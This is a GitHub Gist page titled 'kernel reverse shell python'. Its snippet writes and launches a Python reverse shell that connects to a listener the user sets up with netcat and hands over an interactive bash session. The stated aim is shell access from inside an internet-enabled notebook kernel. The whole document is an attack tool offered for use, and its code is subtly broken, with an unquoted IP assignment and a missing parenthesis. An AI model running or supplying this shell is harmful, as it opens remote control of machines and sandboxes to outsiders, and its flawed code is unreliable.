Created
August 18, 2018 13:27
-
-
Save eherrerosj/aa7a488be048a7e4baccd592f71064e9 to your computer and use it in GitHub Desktop.
kernel reverse shell python
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# On host run `nc -nvlp [PORT]` | |
# Then run this snippet in an internet-enabled kernel, and you will get interactive bash inside the kernel, on the host machine. | |
hostname = 0.0.0.0 # Hostname/IP of your server | |
port = 1337 # Port must be open | |
open('shell.py','w').write('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'.format(hostname, port) | |
import subprocess | |
subprocess.Popen(["python", "shell.py"]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment